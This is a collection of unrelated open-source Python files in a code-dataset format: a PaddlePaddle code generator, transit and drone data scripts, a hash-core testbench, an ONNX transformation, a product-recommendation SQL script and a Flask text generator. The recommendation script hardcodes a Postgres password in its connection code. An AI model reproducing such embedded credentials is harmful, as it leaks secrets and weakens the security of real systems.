logging.info(\n f\"Parsed Original Forward Returns List: \\n{self.orig_forward_returns_list}\"\n )\n\n if SkipAPIGeneration(self.forward_api_name): return False\n\n # Initialized forward_inputs_position_map, forward_outputs_position_map\n self.DetermineForwardPositionMap(self.orig_forward_inputs_list,\n self.orig_forward_returns_list)\n logging.info(\n f\"Generated Forward Input Position Map: {self.forward_inputs_position_map}\"\n )\n logging.info(\n f\"Generated Forward Output Position Map: {self.forward_outputs_position_map}\"\n )\n\n # Code Generation\n self.GeneratePythonCFunction()\n logging.info(\n f\"Generated Python-C Function: {self.python_c_function_str}\")\n logging.info(\n f\"Generated Python-C Function Declaration: {self.python_c_function_reg_str}\"\n )\n\n return True\n\n\nclass PythonCYamlGenerator(YamlGeneratorBase):\n def __init__(self, path):\n # Parent members: \n # self.namespace\n # self.api_yaml_path\n # self.forward_api_list\n YamlGeneratorBase.__init__(self, api_yaml_path)\n\n # Generated Result\n self.python_c_functions_reg_str = \"\"\n self.python_c_functions_str = \"\"\n\n def GeneratePythonCFunctions(self):\n namespace = self.namespace\n forward_api_list = self.forward_api_list\n\n for forward_api_content in forward_api_list:\n f_generator = PythonCSingleFunctionGenerator(forward_api_content,\n namespace)\n status = f_generator.run()\n\n if status == True:\n self.python_c_functions_reg_str += f_generator.python_c_function_reg_str + \",\\n\"\n self.python_c_functions_str += f_generator.python_c_function_str + \"\\n\"\n\n def AttachNamespace(self):\n namespace = self.namespace\n python_c_functions_str = self.python_c_functions_str\n\n if namespace != \"\":\n if namespace.endswith(\"::\"):\n namespace = namespace[:-2]\n self.python_c_functions_str = NAMESPACE_WRAPPER_TEMPLATE.format(\n namespace, python_c_functions_str)\n\n def run(self):\n # Infer namespace from yaml_path\n self.InferNameSpace()\n\n # Read Yaml file\n self.ParseForwardYamlContents()\n\n # Code Generation\n self.GeneratePythonCFunctions()\n\n # Wrap with namespace\n self.AttachNamespace()\n\n\n############################\n## Code Generation Helper ##\n############################\ndef ParseArguments():\n parser = argparse.ArgumentParser(\n description='Eager Code Generator Args Parser')\n parser.add_argument('--api_yaml_path', type=str)\n parser.add_argument('--output_path', type=str)\n\n args = parser.parse_args()\n return args\n\n\ndef GenerateCoreOpsInfoMap():\n return CORE_OPS_INFO, CORE_OPS_INFO_REGISTRY\n\n\ndef GeneratePythonCWrappers(python_c_function_str, python_c_function_reg_str):\n\n core_ops_infos_definition, core_ops_infos_registry = GenerateCoreOpsInfoMap(\n )\n\n python_c_function_str += core_ops_infos_definition\n python_c_function_reg_str += core_ops_infos_registry\n python_c_function_reg_str += \"\\n {nullptr,nullptr,0,nullptr}\"\n\n python_c_str = PYTHON_C_WRAPPER_TEMPLATE.format(python_c_function_str,\n python_c_function_reg_str)\n\n return python_c_str\n\n\ndef GeneratePythonCFile(filepath, python_c_str):\n with open(filepath, 'a') as f:\n f.write(python_c_str)\n\n\nif __name__ == \"__main__\":\n args = ParseArguments()\n api_yaml_paths = args.api_yaml_path.split(\",\")\n\n generated_python_c_functions = \"\"\n generated_python_c_registration = \"\"\n for i in range(len(api_yaml_paths)):\n api_yaml_path = api_yaml_paths[i]\n\n y_generator = PythonCYamlGenerator(api_yaml_path)\n y_generator.run()\n\n generated_python_c_functions += y_generator.python_c_functions_str + \"\\n\"\n generated_python_c_registration += y_generator.python_c_functions_reg_str + \"\\n\"\n\n python_c_str = GeneratePythonCWrappers(generated_python_c_functions,\n generated_python_c_registration)\n\n logging.info(f\"Generated Python-C Codes: \\n{python_c_str}\")\n\n output_path = args.output_path\n for path in [output_path]:\n if os.path.exists(path):\n os.remove(path)\n\n GeneratePythonCFile(output_path, python_c_str)\n","repo_name":"EnnSou/ooss-paddle2.3","sub_path":"paddle/fluid/eager/auto_code_generator/final_state_generator/python_c_gen.py","file_name":"python_c_gen.py","file_ext":"py","file_size_in_byte":18426,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"4172928221","text":"# This is a sample Python script.\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\n\nimport datetime\nimport xml.etree.ElementTree as ET\n\nimport numpy as np\nimport pandas as pd\nimport requests\nimport xlrd\n\nMonthAndDay = ['09-21', '09-22', '09-23', '10-01', '10-09'] # '09-21', '09-22', '09-23', '10-01', '10-09'\nYEAR = 2020\n\nRoutes = []\nBuses = []\n\n\nclass Route:\n\n def __init__(self, name):\n self.name = name\n self.buses = []\n\n\nclass BusStop:\n def __init__(self, name, code):\n self.stopName = name\n self.stopCode = code\n\n\nclass Bus:\n def __init__(self, Id, length):\n self.busId = Id\n self.busLength = length\n\n\ndef fileNameFormater(routeName, date, year):\n return \"/home/jsz/PycharmProject/Input/data/\" + routeName + \"-\" + date + \"-\" + str(\n year) + \"-filtered.xlsx\"\n\n\ndef createLoopTimeSheet(file):\n d = {}\n for r in Routes:\n d.update({r.name: []})\n for date in MonthAndDay:\n\n for i in range(len(Routes)):\n if Routes[i].name == \"HWA\" or Routes[i].name == \"MSA\":\n continue\n if Routes[i].name == \"CAS\" and date == \"09-23\":\n continue\n if Routes[i].name == \"CBD\" and date == '09-23':\n continue\n if Routes[i].name == \"CBD\" and date == \"10-09\":\n continue\n if Routes[i].name == \"PHD\" and date == \"09-21\":\n continue\n if Routes[i].name == \"PHD\" and date == \"10-01\":\n continue\n if Routes[i].name == \"PRO\" and date == \"09-21\":\n continue\n if Routes[i].name == \"PRO\" and date == \"09-22\":\n continue\n if Routes[i].name == \"PRO\" and date == \"09-23\":\n continue\n if Routes[i].name == \"PRO\" and date == \"10-01\":\n continue\n if Routes[i].name == \"TOM\" and date == \"09-21\":\n continue\n if Routes[i].name == \"TOM\" and date == \"09-22\":\n continue\n if Routes[i].name == \"TOM\" and date == \"10-01\":\n continue\n print(date + \"loop time \", Routes[i].name)\n workBook = xlrd.open_workbook(fileNameFormater(Routes[i].name, date, YEAR))\n arr = []\n for k in range(workBook.nsheets):\n data = workBook.sheet_by_index(k)\n currentStartStopName = ''\n startTime = None\n endTime = None\n loopTime = []\n for j in range(data.nrows):\n if j == 0:\n continue\n row = data.row(j)\n if row[2].value == \"Blacksburg Transit\" and Routes[i].name == \"CRC\": continue\n if row[2].value == \"Tall Oaks/Colonial Sbnd\" and Routes[i].name == \"HWA\": continue\n if row[2].value == \"Hethwood Square on Hethwood\" and Routes[i].name == \"HWB\": continue\n if (row[2].value == \"Professional Park Nbnd\" or row[2].value == \"Fairfax/Ellett Ebnd\") and Routes[\n i].name == \"MSS\": continue\n if row[2].value == \"LewisGale Hospital Montgomery\" and Routes[i].name == \"TTT\": continue\n\n if row[4].value == \"Y\" and currentStartStopName == '':\n currentStartStopName = row[2].value\n startTime = datetime.datetime(*xlrd.xldate_as_tuple(row[5].value, workBook.datemode))\n elif row[4].value == \"Y\" and currentStartStopName != '' and row[2].value == currentStartStopName:\n endTime = datetime.datetime(*xlrd.xldate_as_tuple(row[5].value, workBook.datemode))\n\n if startTime is not None and endTime is not None:\n oneLoopTime = endTime - startTime\n oneLoopTimeMin = divmod(oneLoopTime.total_seconds(), 60)[0]\n if oneLoopTimeMin < 10:\n continue\n d[Routes[i].name].append(oneLoopTimeMin)\n startTime = None\n endTime = None\n currentStartStopName = \"\"\n # print(d)\n for key in d:\n dataset = d[key]\n if len(dataset) == 0:\n d[key] = [\"invalid data\"]\n else:\n ave = np.ceil(np.average(dataset))\n d[key] = [ave]\n df = pd.DataFrame.from_dict(d, orient='index')\n df = df.transpose()\n df.to_excel(file, sheet_name='Loop Time')\n\n\ndef createBusNumberSheet(file):\n d = {}\n for r in Routes:\n d.update({r.name: []})\n for date in MonthAndDay:\n for i in range(len(Routes)):\n if Routes[i].name == \"HWA\" or Routes[i].name == \"MSA\":\n continue\n if Routes[i].name == \"CAS\" and date == \"09-23\":\n continue\n if Routes[i].name == \"CBD\" and date == '09-23':\n continue\n if Routes[i].name == \"CBD\" and date == \"10-09\":\n continue\n if Routes[i].name == \"PHD\" and date == \"09-21\":\n continue\n if Routes[i].name == \"PHD\" and date == \"10-01\":\n continue\n if Routes[i].name == \"PRO\" and date == \"09-21\":\n continue\n if Routes[i].name == \"PRO\" and date == \"09-22\":\n continue\n if Routes[i].name == \"PRO\" and date == \"09-23\":\n continue\n if Routes[i].name == \"PRO\" and date == \"10-01\":\n continue\n if Routes[i].name == \"TOM\" and date == \"09-21\":\n continue\n if Routes[i].name == \"TOM\" and date == \"09-22\":\n continue\n if Routes[i].name == \"TOM\" and date == \"10-01\":\n continue\n workBook = xlrd.open_workbook(fileNameFormater(Routes[i].name, date, YEAR))\n arr = []\n for k in range(workBook.nsheets):\n data = workBook.sheet_by_index(k)\n # print(Routes[i].name, data.name)\n # bus = searchBusID(data.name)\n # type = -1\n # if bus.busLength == 35:\n # type = 1\n # elif bus.busLength == 40:\n # type = 2\n # elif bus.busLength == 60:\n # type = 3\n # else:\n # type = -1\n d[Routes[i].name].append(data.name)\n # print(arr)\n for key in d:\n dateset = d[key]\n dateset = list(dict.fromkeys(dateset))\n one = \"1 \"\n two = \"2 \"\n three = \"3 \"\n for bid in dateset:\n bus = searchBusID(bid)\n if bus.busLength == 35:\n one += (bid + \" \")\n elif bus.busLength == 40:\n two += (bid + \" \")\n elif bus.busLength == 60:\n three += (bid + \" \")\n arr = [one, two, three]\n temp = []\n for e in arr:\n if len(e) > 2:\n string = e[:2] + '(' + e[2:] + ')'\n temp.append(string)\n\n d[key] = temp\n df = pd.DataFrame.from_dict(d, orient='index')\n df = df.transpose()\n df.to_excel(file, sheet_name='Bus Number')\n\n\ndef searchBusID(busId):\n for bus in Buses:\n if bus.busId == int(busId):\n return bus\n\n return None\n\n\nclass Stop:\n\n def __init__(self, stopCode, stopName):\n self.stopCode = stopCode\n self.stopName = stopName\n\n def toString(self):\n return str(self.stopCode) + ',' + self.stopName\n\n\ndef createBusDic():\n busFile = xlrd.open_workbook(\"/home/jsz/PycharmProject/Input/data/Simple Fleet List.xlsx\")\n data = busFile.sheet_by_index(0)\n for i in range(data.nrows):\n\n row = data.row(i)\n if i == 0 or i == 1:\n continue\n\n busId = int(row[0].value)\n\n slice_object = slice(2)\n busLength = int(row[3].value[slice_object])\n\n newBus = Bus(busId, busLength)\n Buses.append(newBus)\n\n\ndef getStopInfo(name):\n stopList = {}\n\n StopNameResponse = requests.get(\n \"http://www.bt4uclassic.org/webservices/bt4u_webservice.asmx/GetScheduledStopNames\",\n \"routeShortName=\" + name)\n root = ET.fromstring(StopNameResponse.content)\n for ele in root.iter(\"ScheduledStops\"):\n stopName = ele.find(\"StopName\").text\n stopCode = int(ele.find(\"StopCode\").text)\n stop = Stop(stopCode, stopName)\n arr = []\n stopList.update({stopCode: arr})\n\n return stopList\n\n\ndef createPassengerOnboardSheet(startTime, endTime, index, date):\n filewriter = pd.ExcelWriter(\n 'PassengerOnboard' + \" \" + date + \"-\" + str(index) + \"-\" + str(index + 1) + '.xlsx',\n engine='xlsxwriter')\n for r in Routes:\n if r.name == \"HWA\" or r.name == \"MSA\":\n continue\n if r.name == \"CAS\" and date == \"09-23\":\n continue\n if r.name == \"CBD\" and date == '09-23':\n continue\n if r.name == \"CBD\" and date == \"10-09\":\n continue\n if r.name == \"PHD\" and date == \"09-21\":\n continue\n if r.name == \"PHD\" and date == \"10-01\":\n continue\n if r.name == \"PRO\" and date == \"09-21\":\n continue\n if r.name == \"PRO\" and date == \"09-22\":\n continue\n if r.name == \"PRO\" and date == \"09-23\":\n continue\n if r.name == \"PRO\" and date == \"10-01\":\n continue\n if r.name == \"TOM\" and date == \"09-21\":\n continue\n if r.name == \"TOM\" and date == \"09-22\":\n continue\n if r.name == \"TOM\" and date == \"10-01\":\n continue\n print(r.name)\n d = {}\n workBook = xlrd.open_workbook(fileNameFormater(r.name, date, YEAR))\n\n stoplist = getStopInfo(r.name)\n for k in range(workBook.nsheets):\n # print(stoplist)\n data = workBook.sheet_by_index(k)\n # passengerSet = []\n\n for j in range(data.nrows):\n if j == 0:\n continue\n rowData = data.row(j)\n strRecordTime = datetime.datetime(*xlrd.xldate_as_tuple(rowData[5].value, workBook.datemode)).strftime(\n '%H:%M:%S')\n recordTime = datetime.datetime.strptime(strRecordTime, '%H:%M:%S').time()\n if endTime > recordTime > startTime:\n arr = stoplist[int(rowData[3].value)]\n arr.append(int(rowData[6].value))\n\n sumArray = []\n for key in stoplist:\n if len(stoplist[key]) != 0:\n ave = np.ceil(np.average(stoplist[key]))\n else:\n ave = 0\n sumArray.append(ave)\n\n d.update({\"ave\": sumArray})\n # print(d)\n\n stopList = {}\n\n StopNameResponse = requests.get(\n \"http://www.bt4uclassic.org/webservices/bt4u_webservice.asmx/GetScheduledStopNames\",\n \"routeShortName=\" + r.name)\n root = ET.fromstring(StopNameResponse.content)\n for ele in root.iter(\"ScheduledStops\"):\n stopName = ele.find(\"StopName\").text\n stopCode = ele.find(\"StopCode\").text\n stop = Stop(stopCode, stopName)\n arr = []\n stopList.update({stopCode + \" \" + stopName: arr})\n\n d.update({\"stopCode\": stopList})\n df = pd.DataFrame.from_dict(d, orient='index')\n df = df.transpose()\n df.to_excel(filewriter, sheet_name=r.name)\n filewriter.save()\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n routesName = ['CAS', 'CRC', \"CBD\", \"HXP\", \"HWA\", \"HWB\",\n \"HDG\", \"MSS\", \"TOM\", \"UMS\", \"MSN\", \"PHD\", \"PRB\", \"PRO\", \"MSA\", \"TTT\", \"UCB\"]\n\n for e in routesName:\n route = Route(e)\n Routes.append(route)\n\n createBusDic()\n writer = pd.ExcelWriter('scenario.xlsx', engine='xlsxwriter')\n\n createLoopTimeSheet(writer)\n createBusNumberSheet(writer)\n writer.save()\n\n count = 0\n for date in MonthAndDay:\n for i in range(7, 21):\n count += 1\n print(count)\n timeStart = datetime.time(i, 0)\n timeEnd = datetime.time(i + 1, 0, 0)\n createPassengerOnboardSheet(timeStart, timeEnd, i, date)\n\n# See PyCharm help at https://www.jetbrains.com/help/pycharm/\n","repo_name":"Shangzheng98/BT","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7165685114","text":"# NOTE: currently, these stem from splits/split004_info.json and are computed over all\n# frames that have drone measurements and drone_control_frame_mean_gt available\nSTATISTICS = {\n \"mean\": {\n \"screen\": [0.23185605229941816, 0.20987627008239895, 0.21252105159994594],\n \"hard_mask_moving_window_frame_mean_gt\": [0.23185605229941816, 0.20987627008239895, 0.21252105159994594]\n },\n \"std\": {\n \"screen\": [0.14304103712954377, 0.1309625291794035, 0.14716040743971653],\n \"hard_mask_moving_window_frame_mean_gt\": [0.14304103712954377, 0.1309625291794035, 0.14716040743971653]\n }\n}\n\nHIGH_LEVEL_COMMAND_LABEL = {\n \"flat_left_half\": 0,\n \"flat_right_half\": 1,\n \"wave_left_half\": 2,\n \"wave_right_half\": 3,\n \"flat_none\": 4,\n \"wave_none\": 4\n}\n\nSTATE_VARS_POS = [\"position_x\", \"position_y\", \"position_z\"]\nSTATE_VARS_VEL = [\"velocity_x\", \"velocity_y\", \"velocity_z\"]\nSTATE_VARS_ACC = [\"acceleration_x\", \"acceleration_y\", \"acceleration_z\"]\nSTATE_VARS_ROT = [\"rotation_w\", \"rotation_x\", \"rotation_y\", \"rotation_z\"]\nSTATE_VARS_OMEGA = [\"omega_x\", \"omega_y\", \"omega_z\"]\nSTATE_VARS_SHORTHAND_DICT = {\n \"pos\": STATE_VARS_POS,\n \"vel\": STATE_VARS_VEL,\n \"acc\": STATE_VARS_ACC,\n \"rot\": STATE_VARS_ROT,\n \"omega\": STATE_VARS_OMEGA,\n}\nSTATE_VARS_UNIT_SHORTHAND_DICT = {\n \"pos\": \"m\",\n \"vel\": \"m/s\",\n \"acc\": \"m/s/s\",\n \"rot\": \"quaternion\",\n \"omega\": \"rad/s\",\n}\n","repo_name":"uzh-rpg/VAPAR","sub_path":"gazesim/gazesim/data/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":1422,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"3830631185","text":"# **************************************************************************** #\n# #\n# ::: :::::::: #\n# spongent_hash_bbt_test.py :+: :+: :+: #\n# +:+ +:+ +:+ #\n# By: germancq +#+ +:+ +#+ #\n# +#+#+#+#+#+ +#+ #\n# Created: 2019/12/18 17:52:50 by germancq #+# #+# #\n# Updated: 2021/05/27 18:04:37 by germancq ### ########.fr #\n# #\n# **************************************************************************** #\n\nimport cocotb\nimport numpy as np\nimport time\nimport random\nimport math\nimport re\nfrom cocotb.triggers import Timer,RisingEdge, FallingEdge,ClockCycles\nfrom cocotb.regression import TestFactory\nfrom cocotb.result import TestFailure, ReturnValue\nfrom cocotb.clock import Clock\n\nimport importlib\nimport sys\nimport os\nhome = os.getenv(\"HOME\")\nsys.path.append(home+'/gitProjects/IPCores/hash_functions/spongent_iter/python_code')\nimport LFSR\nimport spongent_iter\n\ndata_file_str = home + \"/gitProjects/IPCores/hash_functions/spongent_iter/files/VIO_inputTests_1kB_88_1000_0\"\n\nN_candidates = [88,128,160,224,256]\nr_candidates = [8,8,16,16,16]\nc_candidates = [80,128,160,224,256]\nR_candidates = [45,70,90,120,140]\n\nOPTION_HASH = 0\n\nN = N_candidates[OPTION_HASH]\nr = r_candidates[OPTION_HASH]\nc = c_candidates[OPTION_HASH]\nR = R_candidates[OPTION_HASH]\n\nSIZE = 1*1024\n\nCLK_PERIOD = 20 # 50 MHz\n\n#the keyword yield\n# Testbenches built using Cocotb use coroutines.\n# While the coroutine is executing the simulation is paused.\n# The coroutine uses the yield keyword\n# to pass control of execution back to\n# the simulator and simulation time can advance again.\n#\n# yield return when the 'Trigger' is resolve\n#\n# Coroutines may also yield a list of triggers\n# to indicate that execution should resume if any of them fires\n\n\ndef setup_function(dut):\n cocotb.fork(Clock(dut.clk, CLK_PERIOD).start())\n dut.rst = 0\n dut.data_ready = 0\n #dut.start_hash = 0\n\n\n@cocotb.coroutine\ndef rst_function_test(dut):\n dut.rst = 1\n yield n_cycles_clock(dut,20)\n if(dut.permutation_impl.rst != 1):\n raise TestFailure(\"\"\"Error in reset, wrong value = {0}, expected value = {1}\"\"\".format(hex(int(dut.permutation_impl.rst.value)),hex(1))) \n\n\n@cocotb.coroutine\ndef execution_test(dut,len_msg,data_file):\n dut.rst = 0\n \n for i in range (0,len_msg):\n #print(i)\n line = data_file.readline().strip()\n #print(line)\n \n \n dut.data_input = int(line,16)\n dut.data_ready = 1 \n yield n_cycles_clock(dut,1)\n dut.data_ready = 0\n yield n_cycles_clock(dut,1)\n #print(i)\n #print(hex(dut.state.value))\n \n while(dut.busy == 1):\n yield n_cycles_clock(dut,1) \n \n ''' \n print('-------------------------------------')\n print(hex(dut.state.value)) \n print(hex(spongent_state))\n print('-------------------------------------')\n '''\n #print('msg send it') \n\n dut.start_hash = 1\n \n yield n_cycles_clock(dut,1) \n\n dut.start_hash = 0\n\n while(dut.end_hash == 0):\n yield n_cycles_clock(dut,1)\n\n r_line = data_file.readline().strip() \n print(r_line)\n expected_result_chunks=re.split(\"\\s+\",r_line)\n expected_result = int(expected_result_chunks[2],16)\n\n if(dut.digest != expected_result):\n raise TestFailure(\"\"\"Error in digest value, wrong value = {0}, expected value = {1}\"\"\".format(hex(int(dut.digest.value)),hex(expected_result))) \n\n@cocotb.coroutine\ndef n_cycles_clock(dut,n):\n for i in range(0,n):\n yield RisingEdge(dut.clk)\n yield FallingEdge(dut.clk)\n\n \n@cocotb.coroutine\ndef run_test(dut,index=0):\n\n data_file = open(data_file_str,\"rt\")\n #3 bytes por dato en 88 y 128\n #38 bytes en el ultimo resultado en 88\n \n #offset = (3 * SIZE) + 39\n #data_file.seek(index*offset)\n for _ in range(index*(SIZE+1)):\n next(data_file)\n \n setup_function(dut) \n yield rst_function_test(dut) \n yield execution_test(dut,SIZE,data_file) \n data_file.close()\n \nn = 1000\nfactory = TestFactory(run_test)\n\nfactory.add_option(\"index\",range(0,n))\nfactory.generate_tests() ","repo_name":"germancq/IPCores","sub_path":"hash_functions/spongent_iter/cocotb_bbt/spongent_hash_bbt_test.py","file_name":"spongent_hash_bbt_test.py","file_ext":"py","file_size_in_byte":4672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10615997393","text":"class Vehicle:\n\n def __init__(self, type, model, price):\n self.type = type\n self.model = model\n self.price = price\n self.owner = None\n\n def buy(self, money: int, owner: str):\n if money < self.price:\n return \"Sorry, not enough money\"\n elif self.owner:\n return \"Car already sold\"\n else:\n self.owner = owner\n return f\"Successfully bought a {self.type}. Change: {money - self.price:.2f}\"\n\n def sell(self):\n if not self.owner:\n return \"Vehicle has no owner\"\n self.owner = None\n\n def __repr__(self):\n if self.owner:\n return f\"{self.model} {self.type} is owned by: {self.owner}\"\n return f\"{self.model} {self.type} is on sale: {self.price}\"\n\n\nvehicle_type = \"car\"\nmodel = \"BMW\"\nprice = 30000\nvehicle = Vehicle(vehicle_type, model, price)\nprint(vehicle.buy(15000, \"Peter\"))\nprint(vehicle.buy(35000, \"George\"))\nprint(vehicle)\nvehicle.sell()\nprint(vehicle)","repo_name":"AlexanderBedrosyan/Programming-Fundamentals-with-Python","sub_path":"Objects and Classes - Exercise/vehicle_1.py","file_name":"vehicle_1.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"8467195885","text":"from onnx import TensorProto, helper\n\nfrom qonnx.transformation.base import Transformation\nfrom qonnx.transformation.infer_shapes import InferShapes\nfrom qonnx.util.basic import get_by_name\n\n\nclass ChangeDataLayoutQuantAvgPool2d(Transformation):\n \"\"\"Replace QuantAvgPool2d with datalayout (N,C,H,W) with Transpose nodes\n and QuantAvgPool2dNHWC with datalayout (N,H,W,C)\"\"\"\n\n def apply(self, model):\n graph = model.graph\n node_ind = 0\n graph_modified = False\n for n in graph.node:\n node_ind += 1\n if n.op_type == \"QuantAvgPool2d\" and (\n get_by_name(n.attribute, \"data_layout\") is None\n or get_by_name(n.attribute, \"data_layout\").s.decode(\"UTF-8\") == \"NCHW\"\n ):\n graph_modified = True\n node_input = n.input[0]\n node_output = n.output[0]\n s = get_by_name(n.attribute, \"stride\").i\n k = get_by_name(n.attribute, \"kernel\").i\n ibits = get_by_name(n.attribute, \"ibits\").i\n obits = get_by_name(n.attribute, \"obits\").i\n signed = get_by_name(n.attribute, \"signed\").i\n batchsize = model.get_tensor_shape(n.input[0])[0] # assume NCHW\n channels = model.get_tensor_shape(n.input[0])[1] # assume NCHW\n idim = model.get_tensor_shape(n.input[0])[-1] # assume NCHW\n odim = model.get_tensor_shape(n.output[0])[-1] # assume NCHW\n\n # create new nodes\n # NCHW -> NHWC\n # create new intermediate values\n inp_trans_out = helper.make_tensor_value_info(\n model.make_new_valueinfo_name(),\n TensorProto.FLOAT,\n (batchsize, idim, idim, channels), # NHWC\n )\n graph.value_info.append(inp_trans_out)\n inp_trans_out = inp_trans_out.name\n quantavg_out = helper.make_tensor_value_info(\n model.make_new_valueinfo_name(),\n TensorProto.FLOAT,\n (batchsize, odim, odim, channels),\n )\n graph.value_info.append(quantavg_out)\n quantavg_out = quantavg_out.name\n inp_trans_node = helper.make_node(\"Transpose\", [node_input], [inp_trans_out], perm=[0, 2, 3, 1])\n quantavg_node = helper.make_node(\n \"QuantAvgPool2d\",\n [inp_trans_out],\n [quantavg_out],\n domain=\"qonnx.custom_op.general\",\n stride=s,\n kernel=k,\n ibits=ibits,\n obits=obits,\n signed=signed,\n data_layout=\"NHWC\",\n )\n # NHWC -> NCHW\n out_trans_node = helper.make_node(\"Transpose\", [quantavg_out], [node_output], perm=[0, 3, 1, 2])\n # insert nodes\n graph.node.insert(node_ind, inp_trans_node)\n graph.node.insert(node_ind + 1, quantavg_node)\n graph.node.insert(node_ind + 2, out_trans_node)\n # remove old nodes\n graph.node.remove(n)\n\n # set shapes\n model.set_tensor_shape(inp_trans_out, (batchsize, idim, idim, channels))\n model.set_tensor_shape(quantavg_out, (batchsize, odim, odim, channels))\n model = model.transform(InferShapes())\n return (model, graph_modified)\n","repo_name":"fastmachinelearning/qonnx","sub_path":"src/qonnx/transformation/change_datalayout.py","file_name":"change_datalayout.py","file_ext":"py","file_size_in_byte":3554,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"48"} +{"seq_id":"19484531899","text":"\nimport psycopg2\nfrom psycopg2 import Error\n\n\ndef connect():\n \"\"\"This function is the connection with the postgres db\"\"\"\n connection = psycopg2.connect(host='localhost', database='huwebshop', user='postgres', password='Xplod_555')\n return connection\n\n\nc = connect()\n\n\ndef disconnect():\n \"\"\"This function disconnects the program with the postgres db\"\"\"\n return c.close()\n\n\ndef sql_execute(sql, value):\n \"\"\"This function executes a query on the Postgres db\"\"\"\n cur = c.cursor()\n cur.execute(sql, value)\n results = cur.fetchall()\n return results\n\n\ndef sql_execute2(sql, value):\n \"\"\"This function executes a query on the Postgres db\"\"\"\n cur = c.cursor()\n cur.execute(sql, value)\n\n\ndef sql_select(sql):\n \"\"\"This function select values from the tables on the Postgres db\"\"\"\n cur = c.cursor()\n cur.execute(sql)\n results = cur.fetchall()\n c.commit()\n return results\n\n\ndef sql_query(sql):\n \"\"\"This function executes a query on the Postgres db \"\"\"\n cur = c.cursor()\n cur.execute(sql)\n\n\n\nsql_query(\"DROP TABLE IF EXISTS combinatie_recommendations CASCADE\")\n\n\n\nsql_query(\"\"\"CREATE TABLE combinatie_recommendations\n ( prodid varchar ,\n combinatie_nr integer ,\n FOREIGN KEY (prodid) REFERENCES products(id));\"\"\")\nc.commit()\n\n\ndef picking_freq_orders():\n \"\"\" This function select the function will select the session id and how many products are bought \"\"\"\n\n return sql_select(\"\"\"SELECT orders.sessionsid,\n COUNT(prodid)\n FROM orders\n\n GROUP BY orders.sessionsid \n ORDER BY COUNT(prodid) asc ;\"\"\")\n\n\n\ndef filtering(result):\n\n id_list = []\n for i in result :\n if i[1] >= 4 :\n id_list.append(i)\n\n else:\n continue\n\n\n return id_list\n\n\n\n\ndef picking_products(profiels_list_orders):\n \"\"\" This function will select the product's from the same session id\"\"\"\n ids = []\n combinatie = 0\n for i in profiels_list_orders :\n ids_orders =sql_execute(\"\"\"select orders.prodid \n from orders\n where orders.sessionsid = (%s)\n ;\"\"\", [i[0]])\n\n print(ids_orders)\n ids.append(ids_orders)\n for j in ids_orders:\n print(j[0])\n sql_execute2(\"insert into combinatie_recommendations (prodid ,combinatie_nr ) values (%s , %s)\",\n [j[0], combinatie])\n c.commit()\n\n combinatie += 1\n\n\n\n\n\n\n\n return ids\n\n\n\nsessions_ids= filtering(picking_freq_orders())\npicking_products(sessions_ids)\n\n","repo_name":"hassoonsy2/AI-Group-project-","sub_path":"business rules/Combnieer goed.py","file_name":"Combnieer goed.py","file_ext":"py","file_size_in_byte":2653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17621905962","text":"from flask import Flask, render_template, request\r\nimport random\r\nimport json\r\napp = Flask(__name__)\r\n@app.route('/', methods=['GET', 'POST'])\r\n@app.route('/Auto_index', methods=['GET', 'POST'])\r\ndef Auto_index():\r\n return render_template('Auto_index.html')\r\n@app.route('/Auto_add',methods=['GET','POST'])\r\ndef Auto_add():\r\n id = request.form['id']\r\n print(id)\r\n if id == 'bei':\r\n question = request.form['q']\r\n answer=getanswer(question)\r\n # print(answer)\r\n return answer\r\n else:\r\n pass\r\n\r\n\r\ndef getanswer(question):\r\n data = getjson(\"data.json\")\r\n CelebrityQuotes = data[\"famous\"] # a 代表前面垫话,b代表后面垫话\r\n FrontWords = data[\"before\"] # 在名人名言前面弄点废话\r\n BackWords = data['after'] # 在名人名言后面弄点废话\r\n nonsense = data['bosh'] # 代表文章主要废话来源\r\n nextnonsense = ShuffleTraversal(nonsense)\r\n # nextCelebrityQuotes = ShuffleTraversal(CelebrityQuotes)\r\n answer=str()\r\n for x in question:\r\n tmp = str()\r\n while ( len(tmp) < 6000 ) :\r\n Branch = random.randint(0,100)\r\n if Branch < 5:\r\n tmp += nextparagraph()\r\n elif Branch < 20 :\r\n tmp += getCelebrityQuotes(CelebrityQuotes,FrontWords,BackWords)\r\n else:\r\n tmp += next(nextnonsense)\r\n tmp = tmp.replace(\"x\",question)#json数据中x代表题目事件\r\n answer += tmp\r\n return answer\r\n\r\n#---------------处���自动生成文章代码\r\ndef getjson(fileName=\"\"):\r\n with open(fileName,mode='r',encoding=\"utf-8\") as file:\r\n return json.loads(file.read())\r\ndef ShuffleTraversal(mylist):\r\n Repeatability=2\r\n Pond = list(mylist) * Repeatability\r\n while True:\r\n random.shuffle(Pond)#打乱\r\n for element in Pond:\r\n yield element\r\ndef getCelebrityQuotes(CelebrityQuotes,FrontWords,BackWords):\r\n nextCelebrityQuotes = ShuffleTraversal(CelebrityQuotes)#yield生成了一个生成器,next()可一直调用这个生成器\r\n xx = next(nextCelebrityQuotes)\r\n xx = xx.replace( \"a\",random.choice(FrontWords) )\r\n xx = xx.replace( \"b\",random.choice(BackWords) )\r\n return xx\r\ndef nextparagraph():\r\n xx = \". \"\r\n xx += \"\\r\\n\"\r\n xx += \" \"\r\n return xx\r\n\r\n\r\nif __name__ == '__main__':\r\n app.debug=True\r\n 